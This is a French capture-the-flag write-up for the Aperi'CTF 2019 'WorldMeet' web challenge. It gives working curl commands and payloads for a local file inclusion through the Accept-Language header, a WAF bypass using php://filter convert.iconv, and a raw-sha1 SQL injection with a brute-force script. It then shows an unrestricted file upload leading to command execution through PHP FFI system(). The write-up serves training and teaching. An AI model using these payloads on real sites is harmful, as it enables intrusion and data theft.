Aperi’CTF 2019 - WorldMeet
Détails du challenge
| Event | Challenge | Category | Points | Solves |
|---|---|---|---|---|
| Aperi’CTF 2019 | WorldMeet | Web | 250 | 7 |
| Aperi’CTF 2019 | WorldMeet | Web | 175 | 7 |
| Aperi’CTF 2019 | WorldMeet | Web | 50 | 7 |
| Aperi’CTF 2019 | WorldMeet | Web | 175 | 6 |
Le fondateur du site web “WorldMeet” souhaite faire auditer son site web, Aperi’Kube vous confie donc cette mission de la plus haute importance !
URI : https://worldmeet.aperictf.fr
https://worldmeet.aperictf.fr
TL;DR
LFI dans le header Accept-Language, il faut utiliser le filter convert.iconv pour contourner le WAF. Découverte du chemin admin grâce à la LFI, lecture de la page admin et découverte d’une SQLi sha1($x,TRUE). Exploitation de la SQLi via un bruteforce local. Accès à la page de debug admin, divulgation du chemin opcache et de l’extension FFI.
Méthodologie
LFI
Déclencher la LFI
On accède d’abord au site web, et on obtient une page d’accueil en français (navigateur FR) avec un drapeau français :
Comme on ne fournit aucune information de langue à part dans notre header Accept-Language, éditons le header et voyons si l’image change :
Header français :
curl -X POST -H "Accept-Language: fr" https://worldmeet.aperictf.fr | grep flag
<img id="flag" src="img/fr.png"/>
Header anglais :
curl -X POST -H "Accept-Language: en" https://worldmeet.aperictf.fr | grep flag
<img id="flag" src="img/en.png"/>
Mauvais header :
curl -X POST -H "Accept-Language: xx" https://worldmeet.aperictf.fr | grep flag
<img id="flag" src=""/>
On peut investiguer avec des headers invalides :
curl -X POST -H "Accept-Language: xx" https://worldmeet.aperictf.fr | head -n 4
<br />
<b>Warning</b>: include(xx.php): failed to open stream: No such file or directory in <b>/var/www/html/index.php</b> on line <b>12</b><br />
<br />
<b>Warning</b>: include(): Failed opening 'xx.php' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/index.php</b> on line <b>12</b><br />
On peut voir que le script inclut notre header et fait quelque chose comme :
<?php
include(explode(",",$_SERVER['HTTP_ACCEPT_LANGUAGE'])[0].".php");
?>
On peut essayer de charger index.php comme page en définissant notre Accept-Language à index (note : le .php est déjà ajouté par le script).
curl -X POST -H "Accept-Language: index" https://worldmeet.aperictf.fr
<b>Fatal error</b>: Allowed memory size of 134217728 bytes exhausted (tried to allocate 4096 bytes) in <b>/var/www/html/index.php</b> on line <b>8</b><br />
Okey, on a une boucle d’auto-inclusion infinie qui fait crasher php, la LFI a été déclenchée !
Contourner le WAF
Comme on a déclenché la LFI, on peut essayer de l’exploiter avec le fameux wrapper php base64 php://filter/convert.base64-encode/resource= et divulguer le code source :
curl -X POST -H "Accept-Language: php://filter/convert.base64-encode/resource=index" https://worldmeet.aperictf.fr
WAF Protection Enabled !<br>
[DEBUG] alert due to <b>php://filter/convert.base64</b>
Il y a un Web Application Firewall qui est déclenché à cause de php://filter/convert.base64 :/. D’autres filter/wrapper comme zlib, read (rot13, …), expect, data, input et phar sont désactivés ou bloqués également.
Comme on sait que convert.base64 est bloqué, on peut creuser du côté du filter convert : https://www.php.net/manual/en/filters.convert.php
On peut voir dans l’Example #3 qu’il y a un filter convert.iconv.* avec un exemple : convert.iconv.utf-16le.utf-8. Adaptons notre payload avec ce filter :
curl -X POST -H "Accept-Language: php://filter/convert.iconv.utf-16le.utf-8/resource=index" https://worldmeet.aperictf.fr
<b>Warning</b>: include(): iconv stream filter ("utf-16le"=>"utf-8"): invalid multibyte sequence in <b>/var/www/html/index.php</b> on line <b>12</b><br />
㼼桰猊獥楳湯獟慴瑲⤨敲畱物彥湯散∨慷彦堶慬楆牋㙉煄瑮祸瀮灨⤢␊慬杮㴠䀠硥汰摯⡥ⰢⰢ⑀卟剅䕖孒䠧呔彐䍁䕃呐䱟乁啇䝁❅⥝せ㭝ਊ晩⠠⑀卟卅䥓乏❛摡業❮⁝㴽‽牔敵笩 †栠慥敤⡲䰢捯瑡潩㩮⼠㑦地積呦晖㕙㍲橔∯㬩 †攠楸⡴㬩紊汥敳††湩汣摵⡥氤湡⸢桰≰㬩⼠ 灁牥❩畋敢›潈数礠畯甠敳桰㩰⼯楦瑬牥振湯敶瑲椮潣癮甮晴㠭甮晴ㄭ⼶敲潳牵散㸿㰊䐡䍏奔䕐栠浴㹬㰊瑨汭氠湡㵧㰢㴿䀠潮獸⡳氤湡⥧㼠∾ਾ††格慥牰晥硩∽杯›瑨灴⼺漯灧洮⽥獮∣ਾ††††洼瑥档牡敳㵴唢䙔㠭•㸯 †††㰠敭慴栠瑴⵰煥極㵶堢唭ⵁ潃灭瑡扩敬•潣瑮湥㵴䤢㵅摥敧㸢ਠ††††琼瑩敬圾牯摬敭瑥貟㲍琯瑩敬ਾ††††洼瑥慮敭∽楶睥潰瑲•潣瑮湥㵴眢摩桴搽癥捩ⵥ楷瑤ⱨ椠
...
Okey, on a une réponse valide. Après quelques essais avec différents encodages, j’ai réussi à trouver celui-ci qui est plutôt bon pour notre cas :
curl -X POST -H "Accept-Language: php://filter/convert.iconv.utf-8.utf-16/resource=index" https://worldmeet.aperictf.fr
<?php
session_start();
require_once("waf_6XlaFiKrI6Dqntxy.php");
$lang = @explode(",",@$_SERVER['HTTP_ACCEPT_LANGUAGE'])[0];
if (@$_SESSION['admin'] === True){
header("Location: /f40WMzfTVfY5r3Tj/");
exit();
}else{
include($lang.".php"); // Aperi'Kube: Hope you used php://filter/convert.iconv.utf-8.utf-16/resource=
}
?>
<!DOCTYPE html>
<html lang="<?= @noxss($lang) ?>">
<head prefix="og: http://ogp.me/ns#">
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>WorldMeet 🌍</title>
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/parallax/3.1.0/parallax.min.js"></script>
<link href="https://fonts.googleapis.com/css?family=Beth+Ellen|Open+Sans&display=swap" rel="stylesheet">
<link href="style.css" rel="stylesheet">
</head>
<body><div id="scene"><div id="bg" data-depth="0.2"></div></div>
<header><?= @$headline ?></header>
<img id="flag" src="<?= @$flag; ?>"/>
<div id="online"><h1><?= @$online ?></h1>
<div class="people"><span class="color_F">Lily - Boston - USA</span></div>
<div class="people"><span class="color_M">Piotr - Warsaw - Poland</span></div>
<div class="people"><span class="color_F">Olga - Lviv - Ukraine</span></div>
<div class="people"><span class="color_M">Robert - Bucharest - Romania</span></div>
<div class="people"><span class="color_M">Ahmet - Istanbul - Turkey</span></div>
<div class="people"><span class="color_M">Mohamed - Cairo - Egypt</span></div>
<div class="people"><span class="color_F">Bella - Tucson - USA</span></div>
<div class="people"><span class="color_M">Aldo - Turin - Italy</span></div>
...
</div><!--
--><div id="logininsc">
<div id="login">
<h1>Login</h1>
<?= @$login ?>: <input type="text" placeholder="login"/>
<?= @$password ?>: <input type="password" placeholder="password"/>
<input type="submit" value="<?= @$connect; ?>"/>
</div>
</div>
<script>
var scene = document.getElementById('scene');
var parallaxInstance = new Parallax(scene);</script>
</body>
</html>
...
Le voilà, on a le code source d’index.php ! On peut aussi récupérer le code source du WAF :
curl -X POST -H "Accept-Language: php://filter/convert.iconv.utf-8.utf-16/resource=waf_6XlaFiKrI6Dqntxy" https://worldmeet.aperictf.fr
<?php
// FLAG 1: APRK{WHAT_AN_LF!}
$blacklist = ["compress.zlib","php://filter/read","php://filter/zlib","php://filter/convert.base64",];
$b1 = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']);
$b2 = strtolower(urldecode($_SERVER['HTTP_ACCEPT_LANGUAGE']));
foreach($blacklist as $b) {
if ((stripos($b1,$b) !== false) || (stripos($b2,$b) !== false)){
exit("WAF Protection Enabled !<br>
[DEBUG] alert due to <b>".htmlspecialchars($b, ENT_QUOTES, 'UTF-8')."</b>");
}
}
?>
Flag 1 : APRK{WHAT_AN_LF!}
Admin
En regardant le code source d’index.php, on peut voir une redirection pour les administrateurs authentifiés :
<?php
if (@$_SESSION['admin'] === True){
header("Location: /f40WMzfTVfY5r3Tj/");
exit();
}
?>
Accédons à https://worldmeet.aperictf.fr/f40WMzfTVfY5r3Tj/
On peut confirmer qu’on a trouvé la page admin. On peut divulguer le code source avec notre LFI :
curl -X POST -H "Accept-Language: php://filter/convert.iconv.utf-8.utf-16/resource=f40WMzfTVfY5r3Tj/index" https://worldmeet.aperictf.fr
<?php
session_start();
require_once("../waf_6XlaFiKrI6Dqntxy.php");
$lang = @explode(",",@$_SERVER['HTTP_ACCEPT_LANGUAGE'])[0];
include("../".$lang.".php");
$link = mysqli_connect("WorldMeet-db", "user", "XoMOFVtYFKRJeB75BwxQ4HGMCpNFolWIDMnhrnaa", "accounts");
$req = "SELECT * FROM accounts WHERE user=?";
/*
CREATE TABLE `accounts` (
`user`
`passwd`
`description`
);
*/
function secure_hash($p){
return sha1($p,"my_s3cure_salt"); // sha1(new.salt) in hexa
}
if (isset($_GET['logout'])){
$_SESSION['admin'] = False;
header("Location: ../"); // Admin page
exit();
}
if (isset($_POST['user']) && isset($_POST['pass'])){
$user = $_POST['user'];
$pass = $_POST['pass'];
$req .= " AND passwd LIKE '".secure_hash($pass)."';";
$stmt = $link->prepare($req);
$stmt->bind_param("s", $user);
$stmt->execute();
$result = $stmt->get_result()->fetch_assoc();
$stmt->close();
if($result){
$_SESSION['admin'] = True;
}else{
$_SESSION['admin'] = False;
header("Location: ../"); // Admin page
exit();
}
}
?>
<!DOCTYPE html>
<html lang="<?= @noxss($lang) ?>">
<head prefix="og: http://ogp.me/ns#">
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>WorldMeet 🌍</title>
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
<link href="https://fonts.googleapis.com/css?family=Beth+Ellen|Open+Sans&display=swap" rel="stylesheet">
<link href="../style.css" rel="stylesheet">
</head>
<body><div id="bg"></div>
<header>Admin</header>
<img id="flag" src="../<?= @$flag; ?>"/>
<?php if (@$_SESSION['admin'] === True){ ?>
<div id="online">
Welcome Admin !<br>
Page is still under development.<!--
- <a href="debug_Mm9vFfnE4H7b3WP2.php">Go to debug page</a>
-->
</div>
<?php }else{
?>
<div id="login"><form action="" method="POST">
Username:<br/>
<input type="text" name="user" id="inp_user"/><br/>
Password:<br/>
<input type="password" name="pass" id="inp_pass"/><br/>
<input type="submit" value="<?= @$connect; ?>"/>
</form></div>
<?php } ?>
</body>
</html>
De là on obtient une nouvelle page appelée debug_Mm9vFfnE4H7b3WP2.php :
<?php
session_start();
if (@$_SESSION['admin'] === True){
echo(get_flag_2());
phpinfo();
}
?>
SQLi
D’après le code source, le second flag est affiché quand on a $_SESSION['admin'] === True, autrement dit, quand on est connecté en tant qu’admin.
Si on reverse la page admin, on sait qu’il faut trouver une requête SQL valide pour se connecter en tant qu’admin. De plus, la requête est à moitié préparée, à moitié concaténée. Comme une requête SQL préparée peut difficilement être exploitée, on va se concentrer sur la partie concaténée :
<?php
// ...
"passwd LIKE ''".secure_hash($pass)."';";
?>
Secure_hash est une fonction définie :
<?php
function secure_hash($p){
return sha1($p,"my_s3cure_salt"); // sha1(new.salt) in hexa
}
?>
En regardant la documentation php de sha1 on peut voir que le second paramètre n’est pas censé être un salt mais un booléen. Ce booléen, lorsqu’il est défini à True, sert à obtenir le sha1 au format raw qui n’est pas en hexadécimal contrairement à ce qui était indiqué dans le commentaire.
En fait secure_hash est une fonction sha1() raw.
Comme on obtient des données raw depuis secure_hash on pourrait essayer d’injecter certains caractères comme le quote ou le hashtag pour obtenir une requête valide.
Après quelques tests on peut obtenir une requête valide lorsque notre raw commence par %'# : % est un wildcard pour les requêtes LIKE en SQL et ’# ferme la requête. On obtiendrait une requête comme :
<?php
$req = "SELECT * FROM accounts WHERE user=? AND passwd LIKE '%'#randomcommentdata...';";
?>
La requête précédente utilise un wildcard comme mot de passe, il ne nous reste plus qu’à deviner le nom d’utilisateur de l’admin.
Pour obtenir un sha1() raw commençant par %'# on va faire un petit bruteforce sur notre propre machine :
<?php
function startsWith($string, $startString){
$len = strlen($startString);
return (substr($string, 0, $len) === $startString);
}
function secure_hash($p){
return sha1($p,"my_s3cure_salt"); // sha1(new.salt) in hexa
}
for($i=0;$i<10000000;$i++){
$x = secure_hash($i);
if(startsWith($x,"%'#")){
print($i);
exit();
}
}
?>
php -f bf.php
On a un hash commençant par %'# pour sha1("5184705",True) !
On peut maintenant essayer de se connecter avec admin comme utilisateur et 5184705 comme mot de passe.
Maintenant on est connecté en tant qu’admin et on peut atteindre la page de debug (debug_Mm9vFfnE4H7b3WP2.php) :
On a le flag numéro 2 : FLAG 2: APRK{Sh4-SQLi-Little-BF}
Reconnaissance et upload de fichier
De là on peut obtenir beaucoup d’informations dont :
- Les fonctions désactivées
- La version de php (7.4-dev)
- Un module nommé FFI
- Le module OPCache avec le chemin php :
G4yUcRuZFLOxnyNu.php
OPCache.preload permet au serveur apache de charger un fichier php avant l’exécution d’un script, comme une fonction include() implicite. Utilisons notre LFI pour afficher le fichier OPCache :
<?php
// FLAG 3: APRK{H1DD3N_IN_0P_PR3L04D}
function get_flag_2(){
return "FLAG 2: APRK{Sh4-SQLi-Little-BF}";
}
function noxss($s){
return htmlspecialchars($s, ENT_QUOTES, 'UTF-8');
}
function get_upload_folder(){
return "./secure__upload__folder/";
}
?>
On a le flag numéro 3 : APRK{H1DD3N_IN_0P_PR3L04D}
On voit aussi notre fonction noxss() qui n’était présente dans aucun autre fichier php ainsi que la fonction get_upload_folder(). D’après cette dernière fonction, il doit y avoir un fichier d’upload.
Avec un peu de fuzzing (ou en devinant), on visite /f40WMzfTVfY5r3Tj/upload.php et on est redirigé. Il doit y avoir un fichier php derrière. On utilise notre LFI et on affiche le code :
<?php
header("Location: /"); // Back to home, this page is for debug only
/* TODO: DEBUG form upload */
if(isset($_FILES['image'])){
$errors= array();
if($file_size > 2097152){
$errors[]='File size must be excately 2 MB';
exit();
}
move_uploaded_file($_FILES['image']['tmp_name'],get_upload_folder().$_FILES['image']['name']);
}
exit();
?>
Okey, c’est un simple file upload dans un script php qui stocke notre fichier dans le dossier ./secure__upload__folder/ (voir get_upload_folder()). Il y a un header("Location: /") au début du script mais il n’y a pas d’exit, on peut uploader un fichier sans être redirigé.
Uploadons un fichier php :
mytest.php :
<?php
phpinfo();
?>
curl -F 'image=@/home/zeecka/mytest.php' https://worldmeet.aperictf.fr/f40WMzfTVfY5r3Tj/upload.php
Maintenant on peut atteindre notre fichier à l’adresse https://worldmeet.aperictf.fr/f40WMzfTVfY5r3Tj/secure__upload__folder/mytest.php. On a une exécution de code php grâce au file upload.
Exécution de commande
Comme on l’a vu précédemment, on a un PHP 7.4 - Dev, beaucoup de fonctions désactivées et l’extension FFI.
Si on cherche à propos de PHP FFI sur internet (FFI github), on peut voir qu’on peut utiliser des fonctions C. On peut essayer d’utiliser la fonction C system dans un fichier php uploadé. Essayons un simple ls -la > output.txt. Note qu’on stocke la sortie dans un fichier puisque system retourne un entier en C :
test1.php :
<?php
$ffi = FFI::cdef(
"int system(char *command);",
"libc.so.6");
$ffi->system("ls > output.txt");
?>
curl -F 'image=@/home/zeecka/test1.php' https://worldmeet.aperictf.fr/f40WMzfTVfY5r3Tj/upload.php
https://worldmeet.aperictf.fr/f40WMzfTVfY5r3Tj/secure__upload__folder/test1.php
https://worldmeet.aperictf.fr/f40WMzfTVfY5r3Tj/secure__upload__folder/output.txt
On obtient la sortie suivante :
debug_Mm9vFfnE4H7b3WP2.php index.php secure__upload__folder upload.php
Pas de flag ici, peut-être dans le dossier parent ?
test2.php :
<?php
$ffi = FFI::cdef(
"int system(char *command);",
"libc.so.6");
$ffi->system("ls .. > output2.txt");
?>
curl -F 'image=@/home/zeecka/test2.php' https://worldmeet.aperictf.fr/f40WMzfTVfY5r3Tj/upload.php
https://worldmeet.aperictf.fr/f40WMzfTVfY5r3Tj/secure__upload__folder/test2.php
https://worldmeet.aperictf.fr/f40WMzfTVfY5r3Tj/secure__upload__folder/output2.txt
en.php f40WMzfTVfY5r3Tj fr-FR.php G4yUcRuZFLOxnyNu.php index.php waf_6XlaFiKrI6Dqntxy.php
en-US.php FLAG4_UY7Kkr8goa.txt fr.php img style.css
On obtient le nom de fichier FLAG4_UY7Kkr8goa.txt !
https://worldmeet.aperictf.fr/FLAG4_UY7Kkr8goa.txt
On a le dernier flag : FLAG 4: APRK{PHP_FF1_EZ_RCE}
Méthode inattendue
Certains challengers ont réussi à résoudre la dernière étape en utilisant FileIterator et DirectoryIterator :
<?php
$dir = new DirectoryIterator('/var/www/html/');
foreach ($dir as $fileinfo) {
if (!$fileinfo->isDot()) {
print_r($fileinfo->getFilename());
echo('<br/>');
}
}
?>
Flags
FLAG 1: APRK{WHAT_AN_LF!}
FLAG 2: APRK{Sh4-SQLi-Little-BF}
FLAG 3: APRK{H1DD3N_IN_0P_PR3L04D}
FLAG 4: APRK{PHP_FF1_EZ_RCE}